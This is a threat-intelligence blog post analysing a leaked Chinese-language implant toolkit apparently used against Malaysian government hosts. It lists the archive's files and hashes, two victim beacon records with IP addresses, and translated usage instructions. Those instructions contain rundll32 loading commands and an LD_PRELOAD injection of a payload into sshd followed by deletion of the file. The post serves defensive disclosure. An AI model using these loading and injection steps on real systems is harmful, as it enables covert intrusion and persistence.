-rw-r--r-- 1 root root 194846 May 27 2021 host_win_x86.exe
-rw-r--r-- 1 root root 129528 May 24 2021 kernle
-rw-r--r-- 1 root root 1679 Apr 24 2019 key.pem
-rw-r--r-- 1 root root 2521600 Sep 23 2020 libcrypto-1_1.dll
-rw-r--r-- 1 root root 530944 Sep 23 2020 libssl-1_1.dll
drwx------ 2 root root 4096 Dec 11 15:42 Linux
-rw-r--r-- 1 root root 455328 Oct 4 2013 msvcp120.dll
-rw-r--r-- 1 root root 970912 Oct 4 2013 msvcr120.dll
drwx------ 2 root root 4096 May 21 2021 Output
drwx------ 2 root root 4096 Feb 23 2021 platforms
-rw-r--r-- 1 root root 73498 Dec 18 2020 plnuser.pln
drwx------ 2 root root 4096 Feb 23 2021 plugin
-rw-r--r-- 1 root root 4670976 Apr 16 2012 Qt5Core.dll
-rw-r--r-- 1 root root 5011968 May 25 2016 Qt5Gui.dll
-rw-r--r-- 1 root root 4472320 May 25 2016 Qt5Widgets.dll
-rw-r--r-- 1 root root 1014168 Feb 27 2017 qwindows.dll
-rw-r--r-- 1 root root 463872 Dec 2 2020 Scheduler.exe
-rw-r--r-- 1 root root 80896 Dec 18 2020 Scheduler.pln
-rw-r--r-- 1 root root 102400 Dec 2 2020 Services.exe
-rw-r--r-- 1 root root 119296 Dec 18 2020 Services.pln
-rw-r--r-- 1 root root 231424 Sep 14 2020 SocksMap.exe
-rw-r--r-- 1 root root 55296 Dec 18 2020 SocksMap.pln
-rw-r--r-- 1 root root 186368 Dec 3 2020 S-Tools.exe
-rw-r--r-- 1 root root 41984 Dec 18 2020 S-Tools.pln
-rw-r--r-- 1 root root 120320 Dec 2 2020 SyncShell.exe
-rw-r--r-- 1 root root 41472 Feb 3 2021 SyncShell.pln
-rw-r--r-- 1 root root 81920 Dec 2 2020 TaskMgr.exe
-rw-r--r-- 1 root root 59904 Dec 18 2020 TaskMgr.pln
-rw-r--r-- 1 root root 135680 Jun 12 2018 Terminal.exe
-rw-r--r-- 1 root root 1 Dec 18 2020 Terminal.pln
-rw-r--r-- 1 root root 80112 Nov 20 2018 vcruntime140.dll
drwx------ 2 root root 4096 May 21 2021 Windows
drwx------ 2 root root 4096 Feb 23 2021 x64
drwx------ 2 root root 4096 Feb 23 2021 x86
-rw-r--r-- 1 root root 459 Feb 4 2021 使用说明.txt

One file within the archive is named 使用说明.txt , which translate from Chinese as Instructions for use.txt so we are likely dealing with a Chinese threat actor.

使用说明.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Window:
1:exe直接运行。
2:dll运行方式:
rundll32 host_win_x86.dll,elapsed
rundll32 host_win_x64.dll,elapsed
3:bin为shellcode,自定义加载。

Linux :
1:exe 直接运行:
chmod 755 host_linux_x64
./host_linux_x64
2:so 支持 ldd 加载。
LD_PRELOAD=./host_linux_x64.so /usr/sbin/sshd
rm -fr /host_linux_x64.so



注:Windows/Linux都支持低权限执行,比如webshell等。

English translation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Window:
1: exe runs directly.
2: dll operation mode:
rundll32 host_win_x86.dll,elapsed
rundll32 host_win_x64.dll,elapsed
3: bin is shellcode, customized loading.

Linux:
1: exe run directly:
chmod 755 host_linux_x64
./host_linux_x64
2:so supports ldd loading.
LD_PRELOAD=./host_linux_x64.so /usr/sbin/sshd
rm -fr /host_linux_x64.so



Note: Both Windows/Linux support low-privilege execution, such as webshell.

Another file within xxx.7z, named fed186c5a12922bc, contains the output of an attacker tool running on a victim host, shown below.

10.29.113.67||(none)|Linux|203.217.176.244|10.29.113.67|TCP|vsphere-ui|#1-photon SMP Wed Oct 17 12:15:18 UTC 2018 - 4.4.161-1.ph1|130:07:36|2021-05-27 22:25:02|2021-05-27 22:25:56|fed186c5a12922bc

The threat actor has targeted a vSphere instance at the external IP 203.217.176.244

Host: 203.217.176.244
ASN: 17564
ISP: GITN M Sdn. Bhd.
Organization: GITN M Sdn. Bhd.
Services: None detected
Type: Corporate
Assignment: Likely Static IP
Continent: Asia
Country: Malaysia
State/Region: Putrajaya
City: Putrajaya

Another file within xxx.7z, named 269aa5960ef1bdc4, contains another victim host:

SVR069||intan.dir|Windows|202.60.56.221|10.1.3.31|TCP|SYSTEM|Microsoft Windows Server 2019 Standard|13:13:40|2021-09-02 23:57:30|2021-09-02 23:58:47|269aa5960ef1bdc4

The threat actor has targeted a Windows Server named SVR069 at the external IP 202.60.56.221

Host: 202.60.56.221
ASN: 38044
ISP: Gitn-network
Organization: Gitn-network
Services: None detected
Type: Broadband
Assignment: Likely Static IP
Continent: Asia
Country: Malaysia
State/Region: Kuala Lumpur
City: Kuala Lumpur

Another folder within the archive is empty, with the name gov.my.
When googling the ISP, we get the following result:

GITN is commissioned by the Government to turn the vision of an e-Government into reality. GITN Sdn. Berhad (GSB) is the official network provider for the e-Government and we have a comprehensive range of infrastructure, hardware and software aimed to help enhance, improve and integrat
e your organization into the e-Government

This threat actor was targeting the Malaysian government.
The fact that the victim host was vSphere indicates that this threat actor has gained significant access into the environment.

Hashes:

67375ebcfa13ea7b549fea105aff391d39dcd814bd03b4dc4f522c182070aa00  ./xxx/key.pem
405ee1521bc97fc5d2c45f36f462f678ce0daef2117c40c5923c54b0f3f32685 ./xxx/CmdShell.exe
2452671492eba95a9fa8dc08d87c54d64b4142f04301209dbaa8447808b0e7b0 ./xxx/TaskMgr.pln
7317d236a1d7b132b80b09284a5c31b61371c66d6eee4cbe4597772223c040c9 ./xxx/S-Tools.pln
9b5dfbb6027d28c1a41cab008148e4a98bcd3d6a6d43269cd08dd8bbc366aa0f ./xxx/api-ms-win-crt-runtime-l1-1-0.dll
9bfa883a0a53ed1f3ef5330925f9a8b460569335150e46fa4b15b9913a9594c2 ./xxx/SyncShell.exe
b61a021e4ed6e29f48adef22d58dca2eb30b8f492e6bcbee47c2efbd351a2d51 ./xxx/host_win_x64.exe
0bcbbedeb21bd05efb36d432df7a2062eabdb3639531f62e07cc755be3c25769 ./xxx/kernle
c6acad7eecd63b54c2f12610b273a6bf5b4db737c0f8ce7670e778dd7a394e39 ./xxx/api-ms-win-crt-utility-l1-1-0.dll
90c6921ab9ef94f410db26cc15abf68f1f1b71993e13e110a95afbf718ec671e ./xxx/269aa5960ef1bdc4
f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2 ./xxx/Generator.exe
b9246fd06b64894d08fbc1d504ea17017da836f070fbd441625c446ab28c7d80 ./xxx/Scheduler.pln
87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608 ./xxx/msvcp120.dll
115b9211d5bd978a0abe6408dae2f819b7da04f42f914a1af1fca40eb9ab90ee ./xxx/xxx.7z
b805f965d1a73d34b5b6c694520b2316884fe44c1c2849ed89565e251d50f658 ./xxx/CmdShell.pln
85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7 ./xxx/Qt5Widgets.dll
855788aa837927ba05b0c352637b49de5b4b22ed05447e8c10a103120c1a4537 ./xxx/DiskFile.pln
59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508 ./xxx/Qt5Core.dll
0104fd31724d08e895f09b1d75bc230f104e4e62cabc9cfe33ef770e14e70d04 ./xxx/SocksMap.exe
2e41310981f08d2dfc7f692a776ab215c9d16d0e6152c1a5a4d8babc82b35e9b ./xxx/Terminal.exe
c6145356da138655e7b1f3a81273b5298c0c9c059afdda230e0742388db8a4f8 ./xxx/Scheduler.exe
0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869 ./xxx/qwindows.dll
795c8e66f347cb030bef6d5b2076197c2da6acd24b654e40f2374d66553ab4ef ./xxx/SyncShell.pln
3a5fe5eb657c5dc6e2ecdf41373de0e6399592929930a1771750aadbac52120d ./xxx/host_linux_x64.so
804f94010467936ddfeb18a9f53a4750ddb4857e4a611e1d99c24928f7390f8e ./xxx/S-Tools.exe
ed259a7d769419dcc3c02291ff6ed228e9c39556827b3df4f73e28cd61b43af5 ./xxx/vcruntime140.dll
9e5d937c72c6d5709b907130cf4c2bd12e3427e44d217a2047d461940c281c1f ./xxx/api-ms-win-crt-time-l1-1-0.dll
e798b43c4bb92cf40d25bb9042e167536aa02de8998645a462f2314a3ec1f4c7 ./xxx/libcrypto-1_1.dll
372ed316b3bad2416f1d22117160acdde60327cee23d2cf9d6f6c4379778746f ./xxx/host_win_x86.exe
b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c ./xxx/G1.exe
f3334fd8cde800152651200258dc4719271010677e1a55218c5f24bc6e7c7ff5 ./xxx/api-ms-win-crt-convert-l1-1-0.dll
a8bf9a04af5d74e783d78b8dec6d47f7943c3c06e8c544856f075e78a1d66d2e ./xxx/plnuser.pln
1460f52fca965a5ec0aa186116909963ddd7a7e1bc78dcea28759d0b66e9bcfc ./xxx/fed186c5a12922bc
794353b72b77f934507d0501024e89cdebc97dc40c571769bafaf794fbfaa8a4 ./xxx/SocksMap.pln
6eb4e6d55d329c9d0c7ffc6291969ab5b9605e48efc97455d131300435184af4 ./xxx/TaskMgr.exe
b12dc850a3b0a3b79fc2255e175241ce20489fe45df93ff35c42c6c348df4fbf ./xxx/Terminal.pln
23f27409df8da51b7a61781bccdc0f011decbf57833151436d3e6c78f8524b66 ./xxx/Services.pln
f575fbb2d0fd77f11deaf31f9422bf11c667284e76ecad8b8825d4a861716272 ./xxx/使用说明.txt
8d6abcce9cdebf8636f738bbbad5dfc019a5cec5c865304a1b44dce7da7d0e82 ./xxx/libssl-1_1.dll
a43a33ff200b3a6abe2b5a2081fd75a433a46bb93ec0f4f9480e14026a53f1ed ./xxx/cer.crt
8597f9f239b350b86350f3cdb326bdca49cb23022703fe049f838998a8a32cd5 ./xxx/api-ms-win-crt-string-l1-1-0.dll
15d2aac51ef02eb8242e7c121d4f405237da415e4a05f41a16b8e3640dc27298 ./xxx/api-ms-win-crt-stdio-l1-1-0.dll
ad551e7b9e91a5f79b269baf438dcfde7dd8014af1016ad2358ea3505714cb88 ./xxx/DiskFile.exe
86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f ./xxx/msvcr120.dll
348472da6ef03742089181b62364096131bc3b01a009d613b3708ce04c807206 ./xxx/Services.exe
2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa ./xxx/Qt5Gui.dll
115b9211d5bd978a0abe6408dae2f819b7da04f42f914a1af1fca40eb9ab90ee ./xxx.7z
f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2 ./old/Generator.exe
b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c ./old/G1.exe
f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2 ./G1-Beta/Generator/Generator.exe
87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608 ./G1-Beta/Generator/msvcp120.dll
85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7 ./G1-Beta/Generator/Qt5Widgets.dll
59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508 ./G1-Beta/Generator/Qt5Core.dll
0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869 ./G1-Beta/Generator/platforms/qwindows.dll
b61a021e4ed6e29f48adef22d58dca2eb30b8f492e6bcbee47c2efbd351a2d51 ./G1-Beta/Generator/Output/Windows/host_win_x64.exe
372ed316b3bad2416f1d22117160acdde60327cee23d2cf9d6f6c4379778746f ./G1-Beta/Generator/Output/Windows/host_win_x86.exe
0bcbbedeb21bd05efb36d432df7a2062eabdb3639531f62e07cc755be3c25769 ./G1-Beta/Generator/Output/Linux/kernle
3a5fe5eb657c5dc6e2ecdf41373de0e6399592929930a1771750aadbac52120d ./G1-Beta/Generator/Output/Linux/host_linux_x64.so
f575fbb2d0fd77f11deaf31f9422bf11c667284e76ecad8b8825d4a861716272 ./G1-Beta/Generator/使用说明.txt
86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f ./G1-Beta/Generator/msvcr120.dll
2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa ./G1-Beta/Generator/Qt5Gui.dll
9b5dfbb6027d28c1a41cab008148e4a98bcd3d6a6d43269cd08dd8bbc366aa0f ./G1-Beta/Client/api-ms-win-crt-runtime-l1-1-0.dll
c6acad7eecd63b54c2f12610b273a6bf5b4db737c0f8ce7670e778dd7a394e39 ./G1-Beta/Client/api-ms-win-crt-utility-l1-1-0.dll
87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608 ./G1-Beta/Client/msvcp120.dll
85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7 ./G1-Beta/Client/Qt5Widgets.dll
59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508 ./G1-Beta/Client/Qt5Core.dll
0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869 ./G1-Beta/Client/platforms/qwindows.dll
ed259a7d769419dcc3c02291ff6ed228e9c39556827b3df4f73e28cd61b43af5 ./G1-Beta/Client/vcruntime140.dll
9e5d937c72c6d5709b907130cf4c2bd12e3427e44d217a2047d461940c281c1f ./G1-Beta/Client/api-ms-win-crt-time-l1-1-0.dll
e798b43c4bb92cf40d25bb9042e167536aa02de8998645a462f2314a3ec1f4c7 ./G1-Beta/Client/libcrypto-1_1.dll
67375ebcfa13ea7b549fea105aff391d39dcd814bd03b4dc4f522c182070aa00 ./G1-Beta/Client/certificate/key.pem
a43a33ff200b3a6abe2b5a2081fd75a433a46bb93ec0f4f9480e14026a53f1ed ./G1-Beta/Client/certificate/cer.crt
b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c ./G1-Beta/Client/G1.exe
f3334fd8cde800152651200258dc4719271010677e1a55218c5f24bc6e7c7ff5 ./G1-Beta/Client/api-ms-win-crt-convert-l1-1-0.dll
26e5bfe4b0686167e3e4e0aac40cbae03515171d375f91ea563c9c044e9c5cc7 ./G1-Beta/Client/plugin/Linux/DiskFile.pln
0104fd31724d08e895f09b1d75bc230f104e4e62cabc9cfe33ef770e14e70d04 ./G1-Beta/Client/plugin/Linux/SocksMap.exe
2e41310981f08d2dfc7f692a776ab215c9d16d0e6152c1a5a4d8babc82b35e9b ./G1-Beta/Client/plugin/Linux/Terminal.exe
478508483cbb05defd7dcdac355dadf06282a6f2e14342cccba99e840202f943 ./G1-Beta/Client/plugin/Linux/SocksMap.pln
b12dc850a3b0a3b79fc2255e175241ce20489fe45df93ff35c42c6c348df4fbf ./G1-Beta/Client/plugin/Linux/Terminal.pln
c2a0b250573feae45ed9d406d2bbddef8b1735a60c456b9cc10fefed46b71748 ./G1-Beta/Client/plugin/Linux/DiskFile.exe
90c6921ab9ef94f410db26cc15abf68f1f1b71993e13e110a95afbf718ec671e ./G1-Beta/Client/Hosts/Default/269aa5960ef1bdc4
8d6abcce9cdebf8636f738bbbad5dfc019a5cec5c865304a1b44dce7da7d0e82 ./G1-Beta/Client/libssl-1_1.dll
8597f9f239b350b86350f3cdb326bdca49cb23022703fe049f838998a8a32cd5 ./G1-Beta/Client/api-ms-win-crt-string-l1-1-0.dll
15d2aac51ef02eb8242e7c121d4f405237da415e4a05f41a16b8e3640dc27298 ./G1-Beta/Client/api-ms-win-crt-stdio-l1-1-0.dll
86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f ./G1-Beta/Client/msvcr120.dll
2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa ./G1-Beta/Client/Qt5Gui.dll
  • Copyrights © 2021-2024 blindCyber

请我喝杯咖啡吧~

支付宝
微信